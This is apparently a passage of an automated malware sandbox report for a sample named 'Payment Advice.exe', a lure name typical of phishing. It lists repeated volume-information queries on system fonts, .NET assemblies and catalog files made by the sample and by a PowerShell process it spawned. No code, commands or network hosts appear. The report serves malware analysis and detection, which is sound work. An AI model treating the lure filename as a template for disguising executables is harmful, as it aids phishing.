Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
